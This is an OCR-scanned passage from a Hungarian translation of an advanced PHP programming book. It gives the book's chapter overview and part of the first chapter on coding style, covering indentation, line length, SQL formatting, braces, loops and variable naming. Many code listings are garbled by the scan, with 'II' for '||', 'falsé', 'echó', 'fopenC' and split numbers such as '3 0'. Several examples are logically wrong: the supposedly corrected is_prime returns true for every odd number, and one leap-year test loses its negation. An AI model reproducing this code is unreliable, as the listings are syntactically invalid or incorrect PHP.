gáltatással vagy képességgel, mi magunk is hozzáadhatjuk.

A könyv felépítése
A kötet öt, többé-kevésbé önálló részre oszlik. Bár úgy szerkesztettük meg, hogy az ér-
deklődő könnyen előreugorhasson egy adott fejezethez, a könyvet javasolt elejétől a vé-
géig elolvasni, mert számos példát fokozatosan építünk fel.

A könyv szerkezete a tanulás természetes folyamatához igazodik. Először azt tárgyaljuk, ho-
gyan kell helyes PHP kódot írni, majd rátérünk az egyes módszerekre, azután a teljesítmény
fokozására, végül a nyelv bővítésére. A felépítés azon alapul, hogy hisszük, egy profi prog-
ramozó legfontosabb felelőssége, hogy „karbantartható" kódot írjon, és hogy könnyebb egy
jól megírt kódot gyors futásúvá tenni, mint egy gyors, de silány kódot feljavítani.

I. rész Megvalósítási és fejlesztési módszerek


1. fejezet (Kódolási stílusok)
Az első fejezet a kötetben használt kódolási szokásokat mutatja be, és ezek köré egy kó-
dolási stílust épít, valamint rávilágít a következetes, jól dokumentált kód fontosságára.

2. fejezet (Objektumközpontú programozás tervezési minták segítségével)


A második fejezet a PHP 5 objektumközpontú (objektum-orientált, OOP) programozást
támogató szolgáltatásait részletezi, és az ilyen irányú képességeket általános tervezési
minták környezetében mutatja be. Azzal, hogy teljes áttekintést nyújt mind a PHP 5-ben
megjelent új OOP szolgáltatásokról, mind az OOP megközelítés mögött megbúvó elvek-
ről, a fejezet hasznos lehet az OOP programozással ismerkedők és a tapasztalt programo-
zók számára is.

3. fejezet (Hibakezelés)
Hibázni emberi dolog. A harmadik fejezet a PHP eljárásközpontú (procedurális) és OOP
hibakezelő eljárásait tárgyalja, különös tekintettel a PHP 5 új, kivétel alapú hibakezelési
képességeire.
xxviii PHP fejlesztés felsőfokon

4. fejezet (Megvalósítás PHP nyelven: a sablonok és a Világháló)


A negyedik fejezet a sablonrendszereket tekinti át, vagyis az olyan elemkészleteket, ame-
lyek a megjelenítés és a programkód kettéválasztását segítik. A fejezet összehasonlítja
a teljes és az ad hoc jellegű sablonrendszerek előnyeit és hátrányait, az előbbire példa-
ként a Smarty-t használva.

5. fejezet (Megvalósítás PHP nyelven: önálló programok)


Manapság csak igen kevés webalkalmazásnak nincs szüksége háttérösszetevőre. Az arra
való képesség, hogy már létező PHP kód újrahasznosításával írjunk kötegelt feladatokat,
héjprogramokat és nem webes feldolgozó rutinokat, létfontosságú a nyelv üzleti környe-
zetben való hasznosításában. Az ötödik fejezet az önálló programok és démonok írásának
alapjait taglalja.

6. fejezet (Egységtesztelés)
Az egységtesztelés annak egyik módszere, hogy ellenőrizzük, a kód megfelel-e arra a célra,
amire létrehoztuk. A hatodik fejezetben megvizsgáljuk az egységtesztelési módszereket, és
azt, hogy a PHPUnit segítségével hogyan készíthetünk rugalmas egységtesztelő csomagokat.

7. fejezet (A fejlesztőkömyezet kezelése)


A kód összehangolása a legtöbb fejlesztő számára nem a legizgalmasabb feladat, mind-
azonáltal igen fontos. A hetedik fejezet bemutatja, hogyan tarthatjuk kézben a kódot
a nagy projektekben, és átfogó bevezetést nyújt a CVS (Concurrent Versioning System,
változatkövető rendszer) használatába.

8. fejezet (Hogyan tervezzünk jó API-t?)


A nyolcadik fejezet útmutatást ad egy olyan kódtár létrehozásához, ami kezelhető, rugal-
mas és könnyen felhasználható különböző munkák során.

II. rész Gyorstárak


9. fejezet (Teljesítményfokozás külső módszerekkel)
A gyorstárak használata valószínűleg a teljesítmény fokozásának, illetve az alkalmazás
méretezésének leghatékonyabb módja. A kilencedik fejezet a PHP-n kívüli tárolási mód-
szereket vizsgálja, és a fordítói és helyettes (proxy) gyorstárakat tárgyalja.

10. fejezet (Adatösszetevők átmeneti tárolása)


A tizedik fejezet arra összpontosít, hogyan építhetünk tárolási módszereket magába a PHP
kódba, illetve hogyan és mikor alkalmazzunk gyorstárakat egy alkalmazásban. Sor kerül
egy működőképes tárolórendszer kifejlesztésére is, ami több háttértárat használ.
PHP fejlesztés felsőfokon xxix

11. fejezet (Számítási újrahasznosítás)


A tizenegyedik fejezetben megnézzük, hogyan tehetjük az egyes algoritmusokat és folya-
matokat hatékonyabbá a köztes adatok átmeneti tárolásával. Lefektetjük a számítási újra-
hasznosítás alapelveit, és azokat gyakorlati példákkal illusztráljuk.

III. rész Elosztott alkalmazások


12. fejezet (Adatbázisok használata)
Az adatbázisok szinte minden dinamikus webhelyen központi szerepet töltenek be. A ti-
zenkettedik fejezet a PHP és az adatbázis-rendszerek közötti híd építésének hatékony
módszereit mutatja be.

13. fejezet (A felhasználók hitelesítése és a munkamenetek biztonsága)


A tizenharmadik fejezet a felhasználók azonosításának kezelését, és az ügyfél-kiszolgáló
kapcsolatok biztonságát veszi górcső alá. Többek között tárgyaljuk a titkosított munkame-
neti információk „sütikben" (cookie) való tárolását, és teljes egészében megvalósítunk egy
egyszerű bejelentkezési rendszert is.

14. fejezet (Munkamenetek kezelése)


A tizennegyedik fejezet a PHP munkameneti bővítésének ismertetésével, illetve saját mun-
kamenet-kezelők írásával folytatja a felhasználói munkamenetek tárgyalását.

15. fejezet (Elosztott környezet kiépítése)


A tizenötödik fejezet olyan méretezhető alkalmazások építését mutatja be, amelyek egyet-
len gépnél többet igényelnek. Részletezzük a számítógépfürtök összeállítását és hatékony
kezelését, valamint azt, hogy hogyan kezelhetjük hatékonyan az átmeneti tároló és adat-
bázisrendszereket.

16. fejezet (RPC: együttműködés távoli szolgáltatásokkal)


Az egyszerű webes gép-gép kommunikációt lehetővé tevő szolgáltatások kulcsszava ma-
napság a webszolgáltatás. Ebben a fejezetben a két legelterjedtebb webszolgáltatási proto-
kollt nézzük meg, az XML-RPC-t és a SOAP-ot.

IV. rész Teljesítmény


17. fejezet (Teljesítménymérés: teljes alkalmazások tesztelése)
Az alkalmazás teljesítményének mérése szükséges ahhoz, hogy meggyőződhessünk róla,
elbírja azt a forgalmat, amelynek feldolgozására szánták, és hogy azonosíthassuk azokat
az összetevőket, amelyek szűk keresztmetszetet jelenthetnek. A tizenhetedik fejezetben
áttekintjük a különböző alkalmazásmérő (benchmark) programcsomagokat, amelyekkel
egy alkalmazás teljesítménye és stabilitása megmérhető.
xxx PHP fejlesztés felsőfokon

18. fejezet (Profilkészítés)


Miután azonosítottuk a fontosabb lehetséges szűk keresztmetszeteket egy alkalmazásban,
profilkészítő eszközökkel elkülöníthetjük a problémás részeket a kódban. A tizennyolca-
dik fejezet a profilkészítés célját és módszereit ismerteti, majd megtanít az APD (Advanced
PHP Debugger) használatára, amellyel megvizsgálhatjuk a kódot.

19. fejezet (Szintetikus mérés: kódblokkok és függvények értékelése)


Két kódrészletet lehetetlen összehasonlítani, ha különbségeik mennyiségi mérésére nincs
mód. A tizenkilencedik fejezet áttekinti a teljesítménymérési módszereket, illetve az egye-
di mérőprogramok megvalósítását és értékelését.

V. rész Bővíthetőség
20. fejezet (A PHP és a Zend Engine titkai)
Ha tudjuk, hogyan működik a PHP „a színfalak mögött", okosabb tervezési döntéseket
hozhatunk, kihasználva a PHP erősségeit és megkerülve gyengéit. A huszadik fejezet
a PHP belső működésének technikai részleteit tartalmazza, illetve azt, hogy hogyan kom-
munikálnak a webkiszolgálókhoz hasonló alkalmazások a PHP-vel, hogyan készít az ér-
telmező a parancsfájlokból köztes kódot, és hogyan zajlik a program végrehajtása a Zend
motorban.

21. fejezet (A PHP bővítése: I. rósz)


A huszonegyedik fejezet a C nyelvű PHP bővítmények írásába vezet be. Foglalkozik
a meglevő PHP kódok C nyelvre való átültetésével, illetve azzal is, hogyan írhatunk olyan
bővítményeket, amelyek lehetővé teszik, hogy a PHP hozzáférjen a mások által készített C
könyvtárakhoz.

22. fejezet (A PHP bővítése: II. rész)


A huszonkettedik fejezet az előző témáját folytatja magasabb szinten; olyan témakörökkel,
mint az osztályok létrehozása a bővítmények kódjában, illetve az adatfolyamok és a mun-
kamenet-kezelési képességek használata.

23. fejezet (SAPI-k készítése és a Zend Engine bővítése)


A huszonharmadik fejezet a PHP alkalmazásokba ágyazásával foglalkozik, illetve a Zend
Engine bővítésével, amelynek révén megváltoztathatjuk a nyelv alapviselkedését.
PHP fejlesztés felsőfokon xxxi

Felületek és változatok

A kötet a PHP 5-re épül, de az anyag mintegy tíz százalékának kivételével nem kifejezet-
ten csak a PHP 5-re vonatkozik. (Az említett tíz százalékba a 2. és 22. fejezetekben bemu-
tatott új, objektumközpontú szolgáltatások, illetve a 16. fejezetben a SOAP tárgyalása tar-
tozik.) Elveket és módszereket mutatunk be, hogy kódunk gyorsabb, okosabb és jobban
tervezett legyen. Reményeink szerint legalább a könyv fele hasznosnak bizonyul abban,
hogy bármilyen nyelven jobb kódot írjunk.

Minden programot, ami a kötetben szerepel, Linuxon írtunk és teszteltünk, de módosítás


nélkül futniuk kell Solaris, OS X, FreeBSD vagy bármely más Unix-klón rendszeren is.
A programok legtöbbje minimális módosítással Windowson is futtatható, bár egyes segéd-
eszközök (mégpedig az 5. fejezetben bemutatandó pcntl függvények) esetleg nem ültet-
hetők át teljesen.
Megvalósítási
és fejlesztési módszerek
1
Kódolási stílusok

„Minden legyen olyan egyszerű, amennyire csak lehet,


de semmivel sem egyszerűbb."
Albert Einstein (1879-1955)

„Keresd az egyszerűséget, de ne bízz benne."


Alfréd North Whitehead (1861-1947)

Nem számít, milyen szintű tudással rendelkezünk a PHP-t illetően, nem számít, mennyire
ismerjük a nyelvet, annak szabályait és különböző szolgáltatásait, attól még írhatunk silány
vagy zavaros kódot. A nehezen olvasható kód pedig nehezen karbantartható, és kínszen-
vedés benne a hibakeresés. A szegényes kódolási stílus a szakértelem hiányát mutatja.

Ha pillanatnyi munkánk életünk végéig tartana és soha nem kellene másnak a kódhoz
nyúlnia, akkor sem lenne elfogadható, hogy olyan kódot írjunk, ami rosszul szerkesztett.
Nekem is nehézséget okoz a két-három éve általam írt könyvtárak bővítése és azokban a
hibák keresése, még akkor is, ha a stílus tiszta. Ha pedig olyan kódra bukkanok, amit
rossz stílusban írtam meg, gyakran éppoly sokáig tart kibogoznom annak logikáját, mint-
ha újra megírnám a semmiből.

A helyzetet bonyolítja, hogy egy programozó sem „légüres térben" dolgozik: programjain-
kat jelenlegi és jövőbeli kollégáinknak kell majd karbantartaniuk. Két, önmagában megfe-
lelő stílus keveréke viszont ugyanúgy olvashatatlan és karbantarthatatlan kódot eredmé-
nyezhet, mintha semmilyen stílust nem követnénk, ezért nem csak az a fontos, hogy meg-
felelő stílusban programozzunk, hanem az is, hogy az együtt dolgozó fejlesztők követke-
zetesen ragaszkodjanak egy közös stílushoz.
4 PHP fejlesztés felsőfokon

Megtörtént, hogy örököltem egy megközelítőleg 200 000 sorból álló kódtárat, amit három
fejlesztőcsapat dolgozott ki. Volt, amikor szerencsém volt, és egy include legalább fájlon
belül következetesnek bizonyult - de gyakran megesett, hogy egyetlen fájlban három kü-
lönböző stílus képviselte magát.

A megfelelő stílus kiválasztása


A kódolási stílus kiválasztását nem szabad elhamarkodnunk. A kód, amit írunk, „túlél"
minket, és az idők során egy stílusváltás több gondot okozhat, mint amennyi nyereséget
hoz. Egy olyan kód, amit minden új fejlesztő új stílusban ír, gyorsan kezelhetetlen masszá-
vá változhat.

Amellett, hogy fontos képesnek lennünk egy induló munka stílusának kiválasztására, meg
kell tanulnunk alkalmazkodnunk más szabványokhoz is. Nincs tökéletes szabvány: a kó-
dolási stílus leginkább személyes ízlésünktől függ. A „tökéletes stílus" kiválasztásánál sok-
kal többet ér, ha a kód stílusa mindenhol következetes - tehát ne siessünk megváltoztatni
egy általunk véletlenül nem kedvelt, de egyébként következetes stílust.

A kód formázása és elrendezése


A kód formázása és elrendezése - amibe beletartozik a behúzás, a sorhossz meghatározá-
sa, a térközök használatának módja, vagy akár az SQL (Structured Query Language, struk-
turált lekérdezőnyelv) parancsok írási módja - a legfontosabb eszköz, amivel kifejezhet-
jük a kód logikai szerkezetét.

Behúzás
Ebben a könyvben a kód szerkezetét és a kódblokkokat behúzással jelöljük. A kódszerve-
zés eszközeként alkalmazott behúzások jelentőségét nem lehet eléggé hangsúlyozni. Szá-
mos programozó olyannyira fontosnak tartja, hogy a Python programozási nyelv például
nyelvtani szabályként tartalmazza: a helytelen behúzásokat tartalmazó Python kód le sem
fordítható!

Bár a behúzás a PHP-ben nem kötelező, olyan erőteljes vizuális szervezőeszköz, amit cél-
szerű következetesen felhasználnunk programjainkban.

Vegyük például az alábbi kódot:

if($month = = 'september' II $month == 'april' II $month == 'june'


II $month == 'november') { return 3 0;
}
else if($month == 'february') {
if((($year % 4 == 0) && !($year % 100)) II ($year % 400 ==0)) {
return 2 9;
}
1. fejezet * Kódolási stílusok 5

else {
return 28;
}
}
else {
return 31;
}

Vessük össze a kódot a következő változattal, ami a behúzásoktól eltekintve teljesen meg-
egyezik vele:

if ($month == 'september' ||
$month == 'april' ||
$month == 'june' ||
$month == 'november') {
return 3 0;
}
else if($month == 'february') {
i f( ( ( $ y e ar % 4 == 0) && ($year % 1 0 0 )) II ($year % 400 ==0)) {
return 29;
}
else {
return 28;
}
}
else {
return 31;
}

A második változatban könnyebb áttekinteni a vezérlési logikát, mint az elsőben.

Amikor a behúzásra tabulátorokat használunk, el kell döntenünk, hogy kemény vagy lágy
tabulátorokat alkalmazunk, és ehhez következetesen ragaszkodnunk kell a kódban.
A szokványos tabulátorok kemény tabulátorok. A lágy tabulátárok viszont tulajdonkép-
pen nem is tabulátorok: ekkor adott számú normál szóközt használunk. A lágy tabuláto-
rok előnye, hogy mindig ugyanúgy jelennek meg, függetlenül a szerkesztő tabulátorbeál-
lításaitól. (A szerző a lágy tabulátorokat részesíti előnyben.) Segítségükkel könnyen fenn-
tartható a következetes behúzás, illetve térköz-használat a kód egészében. Amennyiben
kemény tabulátorokat alkalmazunk - különösen ha több fejlesztő különféle szerkesztő-
programokkal dolgozik az adott munkán -, könnyen előfordulhat, hogy a behúzási szin-
tek összekeverednek.

Pillantsunk az 1.1 és 1.2 ábrákra. Mindkettő pontosan ugyanazt a kódot mutatja, csakhogy
az egyik zavaros, míg a másik tisztán olvasható.
6 PHP fejlesztés felsőfokon

1.1 ábra
Helyesen behúzott kód.

1.2 ábra
Az 1.1 ábrán látott kód, egy más beállításokat tartalmazó szerkesztőben.

A használni kívánt tabulátorszélességet is előre ki kell választanunk. Négy szóköz már ál-
talában jól olvasható kódot eredményez, miközben megfelelő mennyiségű beágyazási
szintet biztosít. A könyvoldalak viszont némileg kevesebb teret adnak, mint a terminálab-
lakok, ezért a kötet minden kódjában két szóközt alkalmaztunk tabulátorszélességként.
1. fejezet • Kódolási stílusok 7

Számos szerkesztőprogram támogatja a forráskódban elhelyezett „mágikus" megjegyzése-


ken alapuló automatikus formázásészlelést. A vim-ben például az alábbi megjegyzés ön-
működően lágy tabulátorok használatára állítja a szerkesztőt (expandtab kapcsoló),
a szélességet pedig négy szóközben szabja meg (tabstop és sof ttabstop kapcsolók):

// vim: expandtab softtabstop=2 tabstop=2 shiftwidth=2

Emellett a vim : retab parancsa minden kemény tabulátort lágy tabulátorrá alakít a do-
kumentumban, így célszerű ezt alkalmaznunk, ha a tabulátorok használatáról át szeret-
nénk állni szóközökre.

Az emacs-ben az alábbi megjegyzés hasonló eredménnyel jár:

/*
* Local variables:
* tab-width: 2
* c-basic-offset: 2
* indent-tabs-mode: nil
* End:
*/

Számos nagy programban (közéjük tartozik maga a PHP nyelv is), ilyen típusú megjegy-
zéseket helyeznek el minden állomány alján; hogy a fejlesztők következetesen betartsák
a projekt behúzási szabályait.

Sortiossz
A „hány nap van egy hónapban" függvény első sora meglehetősen hosszú, így nehezen
látható át az értékellenőrzések sorrendje. Ilyen esetekben célszerű a hosszú sorokat több
sorra tördelni, valahogy így:

if($month == 'september' II $month == 'april' II


$month == 'june' II $month == 'november') {
return 3 0;
}

A második sor behúzásával jelezhetjük, hogy az az első folytatása. Ha a sor különösen


hosszú, érdemes az egyes feltételeket külön sorba írni, mindet behúzni, és egymás alá
igazítani:

if ($month == 'september' I I
$month == 'april' II
$month == 'june' II
$month == 'november')
{
return 30;
}
8 PHP fejlesztés felsőfokon

A fenti módszer a függvények paramétereinél is ugyanolyan jól működik:

mail("postmaster@example.foo",
"My Subject",
$message_body,
"From: George Schlossnagle <george@omniti.com>\r\n");

Én általában minden 80 karakternél hosszabb sort több sorba írok, mert ez a szabványos
Unix terminálablakok szélessége, és megfelel arra is, hogy a kódot olvashatóbb betűtípus-
sal kinyomtassuk.

Térközök használata
A térközökkel a kód logikai szerkezetét tükrözhetjük; segítségükkel például hatékonyan
csoportosíthatjuk az értékadásokat, és rávilágíthatunk az összefüggésekre. Az alábbi kód
rosszul formázott és nehezen olvasható:

$lt = localtimeO ;
$name = $_GET [ ' name ' ] ;
$email = $_GET['email'];
$month = $lt['tm_mon'] + 1;
$year = $lt['tm_year'] + 1900;
$day = $lt['tm_day'];
$address = $_GET['address'];

A kódblokkot feljavíthatjuk, ha térközökkel logikailag csoportosítjuk a hasonló értékadá-


sokat, és az egyenlőségjeleket egymás alá igazítjuk:

$name = $_GET['name'];
$email = $_GET['email'];
$address = $_GET['address'];

$lt = localtime();
$day = $lt['tm_day'];
$month = $lt['tm_mon'] + 1;
$year = $lt [ ' tm^ear ' ] + 1900;

SQL irányelvek
A fejezetben eddig lefektetett kódformázási és -elrendezési szabályok érvényesek mind
a PHP, mind az SQL kódokra. Az adatbázisok a legtöbb mai webhely szerves részét képe-
zik, így az SQL nélkülözhetetlen része a kódtáraknak. Az SQL lekérdezések azonban - fő-
leg azokban az adatbázis-rendszerekben, amelyek támogatják az összetett allekérdezése-
ket - könnyen bonyolulttá és áttekinthetetlenné válhatnak, ezért a PHP-hez hasonlóan az
SQL kódokban is használjunk bátran térközöket és sortörést.
1. fejezet • Kódolási stílusok 9

Vegyük például a következő lekérdezést:

$query = "SELECT FirstName, LastName FROM employees, departments


WHERE employees.dept_id = department.dept_id AND department.Name =
1Engineering'";

Ez egy egyszerű lekérdezés, de rosszul szerkesztett. Többféle módon is feljavíthatjuk:

• nagybetűssé tehetjük a kulcsszavakat,


• a kulcsszavaknál új sort kezdhetünk,
• a táblamásodnevek (alias) használatával tisztábbá tehetjük a kódot.

Lássunk egy példát a lekérdezés módosítására a fentiek szerint:

$query = "SELECT firstname,


lastname
FROM employees e,
departments d
WHERE e.dept_id = d.dept_id
AND d.name = 'Engineering'";

Vezérlési szerkezetek
A vezérlési szerkezetek olyan alapvető építőelemek, amelyeket szinte minden modern
programozási nyelv tartalmaz. A vezérlési szerkezetek szabják meg, milyen sorrendben
hajtja végre a program az utasításokat. Két fajtájuk létezik: a feltételes utasítások és a cik-
lusok. Azok az utasítások, amelyek csak akkor hajtódnak végre, ha egy adott feltétel telje-
sül, feltételes utasítások, míg a ciklusok ismétlődően végrehajtott utasítások.

Az, hogy egy feltétel teljesülését vizsgálhatjuk, és az állítás igaz vagy hamis voltától függő-
en hajthatunk végre műveleteket, lehetővé teszi, hogy a kódba döntési logikát építsünk
be. A ciklusok arra adnak módot, hogy ugyanazt a logikát ismételjük, és így meghatáro-
zatlan adatokon végezzünk bonyolult feladatokat.

Kapcsos zárójelek a vezérlési szerkezetekben


A PHP nyelvtana nagy részét a C programozási nyelvtől vette át. A C-hez hasonlóan az
egysoros feltételes utasítások a PHP-ben sem igényelnek kapcsos zárójeleket. Az alábbi
kód például gond nélkül lefut:

if(isset($name))
echó "Hello $name";
10 PHP fejlesztés felsőfokon

Annak ellenére azonban, hogy ez működő kód, nem ajánlott a használata. Ha kihagyjuk
a kapcsos zárójeleket, később nehéz lesz anélkül módosítani a kódot, hogy hibát ne véte-
nénk. Amennyiben például egy újabb sorral szeretnénk kiegészíteni a fenti utasítást, de
nem figyelünk eléggé, ilyesmit írhatunk:

if(isset($name))
echó "Hello $name";
$known_user = true;

Ez egyáltalán nem azt eredményezi, amit szeretnénk. A $known_user értéke mindenkép-


pen true lesz, pedig ezt csak akkor akarjuk, ha a $name változó létezik (isset). A ke-
veredés elkerülése végett mindig használjunk kapcsos zárójeleket, még akkor is, ha csak
egyetlen feltételes utasításunk van:

if (isset($name)) {
echó "Hello $name";
}
else {
echó "Hello Stranger";
}

A kapcsos zárójelek következetes használata


Igyekezzünk következetesen használni a kapcsos zárójeleket a feltételek után. Három el-
terjedt módszer közül választhatunk:

• BSD stílus: a zárójeleket a feltételt követő sorba tesszük, és a kulcsszóhoz, a sor


elejére igazítjuk:
if ($feltétel)
{
// utasítás
}

• GNU stílus: a zárójelek itt is a feltételt követő sorba kerülnek, de félúton behúzva
a kulcsszó és a feltétel közé:
if ($feltétel)
{
// utasítás
}

• K&R stílus: a nyitó zárójel a kulcsszóval egy sorba kerül:


if ($feltétel) {
// utasítás
}

A K&R stílus neve Kernighan-re és Ritchie-re, A Cprogramozási nyelv című klasszi-


kus szerzőire utal, akik könyvük kódjait e stílussal írták.
1. fejezet • Kódolási stílusok 11

A kapcsos zárójelek használati módja már-már vallásos színezetet ölt. A vita szenvedélyes-
ségét jelzi például, hogy a K&R stílusra időnként úgy hivatkoznak, mint ami „az egyeden
igazi zárójelezési stílus". Pedig végsősoron mindegy, melyik stílus mellett döntünk; csak
az számít, hogy meghozzuk a döntést és következetesen ragaszkodjunk hozzá. Nekem
tetszik a K&R stílus tömörsége, kivéve amikor a feltétel több sorra törik, amikor is átlátha-
tóbbnak találom a BSD stílust. Az utóbbit részesítem előnyben a függvények és osztályok
bevezetésénél is, valahogy így:

function hello($name)
{
echó "Hello $name\n";
}

Az, hogy a függvénydeklarációk zárójelei egészen kikerülnek a bal margóra, lehetővé te-
szi, hogy első pillantásra felismerjük őket. Mindazonáltal ha olyan munkához csatlako-
zom, aminek már kialakult stílusa van, igazodom hozzá, még ha magam másik stílust is
részesítek előnyben. Hacsak az adott stílus nem kifejezetten rossz, a következetesség min-
dig fontosabb.

for vagy while vagy foreach?


Ahol elég egy for vagy foreach, ne használjunk while ciklust. Nézzük a következő
kódot:

function is_prime($number)
{
$i = 2;
while($i < $number) {
if ( ($number % $i ) == 0) {
return falsé;
}
$i + +;
}
return true;
}

Ez a ciklus nem túl hatékony. Gondoljunk bele, mi történik, ha az alábbihoz hasonló mó-
don egy újabb vezérlési ággal bővítjük:

function is_prime($number)
{
If ( ($number % 2) != 0) {
return true;
}
$i = 0;
while($i < $number) {
12 PHP fejlesztés felsőfokon

// Egyszerűen ellenőrizzük, hogy $i páros-e


if( ($i & 1) == 0 ) {
continue;
}
if ( ($number % $i ) == 0) {
return falsé;
}
$i++;
}
return true;
}

Ebben a példában először ellenőrizzük, hogy a szám osztható-e kettővel. Ha nem, már
nincs szükség arra, hogy megnézzük, osztható-e bármilyen más páros számmal, hiszen
minden páros szám közös osztója a 2. Itt véletlenül beavatkoztunk a növelő műveletbe,
így végtelen ciklusba kerültünk.

A véges számú ismétlődő műveletekhez természetesebb választás a f or ciklus, ahogy itt is:

function is_prime($number)
{
if(($number % 2) != 0) {
return true;
}
for($i=0; $i < $number; $i++) {
// Egyszerűen ellenőrizzük, hogy $i páros-e
if( ($i & 1) == 0 ) {
continue;
}
if ( ($number % $i ) = = 0 ) {
return falsé;
}
}
return true;
}

Ha tömböket járunk be, a f or-nál még jobb, ha a f oreach ciklust használjuk. Lássunk
erre is egy példát:

$array = (3, 5, 10, 11, 99, 173);


foreach($array as $number) {
if(is_prime($number)) {
print "$number is prime.Xn";
}
}

Ez gyorsabb, mint egy f or ciklus, mert nincs benne kifejezett számláló.


1. fejezet • Kódolási stílusok 13

Cikluson belüli vezérlés a break és a continue használatával

Amikor egy ciklust hajtunk végre, a break használatával ugorhatunk ki azokból a ciklus-
blokkokból, amelyek végrehajtására már nincs szükségünk. Vegyük a következő ciklust,
ami egy beállítófájlt dolgoz fel:

$has_ended = 0 ;
while(($line = fgets($fp)) !== falsé) {
if($has_ended) {
}
else {
if(strcmp($line, '_END_') == 0) {
$has_ended = 1;
}
if(strncmp($line, '//', 2) == 0) {

}
else {
// utasítás feldolgozása
}
}
}

Szeretnénk figyelmen kívül hagyni azokat a sorokat, amelyek C++ stílusú megjegyzések-
kel (vagyis / / jelzéssel) kezdődnek, a feldolgozást pedig teljesen be szeretnénk szüntetn:
ha egy _END_ deklarációba ütközünk. Ha a cikluson belül nem használunk vezérlési szei
kezeteket, kénytelenek leszünk egy kis állapotautomatát építeni. A csúnya beágyazott uta
sításokat a continue és a break alkalmazásával kerülhetjük ki:

while(($line = f g e t s ( $ f p ) ) != = falsé) {
if(strcmp($line, '_END_') == 0) {
break;
}
if(strncmp($line, '//', 2) == 0) {
continue;
}
// utasítás feldolgozása
}

Ez a változat nem csak rövidebb, mint a megelőző, hanem hiányoznak belőle a zavaró
beágyazások is.
14 PHP fejlesztés felsőfokon

A mélyen egymásba ágyazott feltételek elkerülése

Programírás során gyakran követik el azt a hibát, hogy mélyen egymásba ágyazott felté-
teleket hoznak létre, amikor egy ciklus is elég lenne. íme egy jellemző kód, amiben szin-
tén ez a hiba szerepel:

$fp = fopenC'file", "r");


if ($fp) {
$line = fgets($fp);
if($line !== falsé) {
// a $line feldolgozása
} else {
die("Error: Filé is empty);
}
else { die("Error: Couldn't open f i l é " ) ;
}

Ebben a példában a kód törzse (ahol a $line változó feldolgozása történik) két behúzási
szinttel beljebb kezdődik, ami egyrészt zavaró, másrészt a szükségesnél hosszabb sorokat
eredményez, a hibakezelő feltételeket szétszórja a kódban, és megkönnyíti a zárójelezési
hibák vetését.

Sokkal egyszerűbb, ha az alábbihoz hasonló módon a hibakezelést (az esetleges kivételekkel


együtt) teljes egészében a kód elejére helyezzük, és megszüntetjük a felesleges beágyazást:

$fp = fopenC'file", "r");


if (!$fp) {
die("Error: Couldn't open filé");
}
$line = fgets($fp);
if($line === falsé) {
die("Error: Filé is empty");
}
// a $line feldolgozása

Névszimbólumok
A PHP szimbólumokkal rendeli az adatokat a változónevekhez. A szimbólumok adnak
módot arra, hogy későbbi újrahasznosítás céljából nevet adhassunk az adatoknak. Minden
alkalommal, amikor bevezetünk egy változót, létrehozunk számára egy bejegyzést az ak-
tuális szimbólumtáblában, és az aktuális értékéhez kötjük. íme egy példa:
$foo = 'bar';
Ebben az esetben a f oo számára hozunk létre egy bejegyzést az aktuális szimbólumtáblá-
ban, és hozzákapcsoljuk aktuális értékéhez, a bar-hoz. Amikor egy osztályt vagy függvényt
határozunk meg, egy másik szimbólumtáblába szúrjuk be azt. Lássunk erre is egy példát:
1. fejezet • Kódolási stílusok 15

function hello($name)
{
print "Hello $name\n";
}
Itt a hello a függvények szimbólumtáblájába kerül és a lefordított kódhoz (optree)
kapcsolódik.

A 20. fejezetben megnézzük, hogyan zajlanak ezek a műveletek a PHP-ben, de most arra
összpontosítunk, hogyan tehetjük a kódot olvashatóbbá és könnyebben karbantarthatóvá.

A PHP kód változó- és függvénynevekkel van tele. A jó elrendezéshez hasonlóan az elne-


vezési szabályok is azt a célt szolgálják, hogy az olvasó számára világosabbá tegyék
a program logikáját. A legtöbb nagy szoftverprojekt használ valamilyen elnevezési rend-
szert, ami biztosítja az egyes kódrészek egységességét. Az itt bemutatott szabályokat
a PHP Extension and Application Repository (PEAR, PHP bővítmény- és alkalmazástár)
irányelveiből vettük át. A PEAR olyan PHP programok és osztályok gyűjteménye, amelye-
ket arra terveztek, hogy általános igényeket kielégítő újrahasznosítható elemek legyenek.
Mint a legnagyobb nyilvános PHP kódgyűjtemény, a PEAR egyfajta szabványt biztosít,
amelyhez igazodhatunk. Az első szabály, amit meg kell jegyeznünk, a változónevekhez
kapcsolódik: soha ne használjunk értelmetlen változóneveket. Számos könyvben és cikk-
ben (beleértve a számítástudománnyal foglalkozó magas szintű szövegeket) találunk je-
lentéssel nem bíró, általánosító változóneveket, amelyek nem segítik a kód megértését.
Vegyük például az alábbi kódot:
function test($baz)
{
for($foo = 0; $foo < $baz; $foo++) {
$bar[$foo] = "test_$foo";
}
return $bar;
}

Ezt gond nélkül lecserélhetjük a következő kódra, amiben már beszédesebb neveket talá-
lunk, amelyek jobban rávilágítanak, mi is történik itt:

function create_test_array($size)
{
fo r ( $ i = 0; $i < $size; $i++) {
$retval[$i] = "test_$i";
}
return $retval;
}
A PHP-ben minden osztály- vagy függvénytörzsön kívül meghatározott változó automati-
kusan globális változó lesz. A függvényen belül megadott változók csak az adott függvé-
nyen belülről láthatók, ha pedig azt szeretnénk, hogy egy globális változó egy függvé-
nyen belülről is elérhető legyen, a global kulcsszóval kell bevezetnünk. A változók lát-
16 PHP fejlesztés felsőfokon

hatóságára vonatkozó fenti megszorítások a hatóköri szabályok. Egy változó hatóköre az


a kódblokk, amelyben a változó külön intézkedés nélkül elérhető. A hatóköri szabályok
- amellett, hogy egyszerűek és elegánsak - feleslegessé teszik, hogy az elnevezés attól
függjön, hogy egy adott változó globális-e. Az elnevezési szabály szempontjából a PHP
változóit három csoportba oszthatjuk:

• Valódi globális változók - olyan változók, amelyekre globális hatókörben szándéko-


zunk hivatkozni.
• Hosszú életű változók - olyan változók, amelyek bármilyen hatókörben létezhetnek,
de több kódblokkban is hivatkozunk rájuk, illetve több kódblokk számára is fontos
információt tárolnak.
• Ideiglenes változók - kisebb kódrészekben használt változók, amelyek ideiglenes in-
formációt tárolnak.

Állandók és valódi globális változók


A valódi globális változókat és az állandókat csupa nagybetűvel célszerű írni, így azonnal
láthatjuk rajtuk, hogy globális változók. íme egy példa:
$CACHE_PATH = '/var/cache/';

function list_cache()
{
global $CACHE_PATH;
$dir = opendir($CACHE_PATH);
while(($file = readdir($dir)) !== falsé && is_file{$file)) {
$retval[] = $file;
}
closedir($dir);
return $retval;
}

A csupa nagybetű használata révén azt is rögtön kiszúrhatjuk, ha olyan változót próbálunk
globálissá tenni, amit nem kellene.

A globális változók alkalmazása mindazonáltal nagy hiba a PHP programokban. Használa-


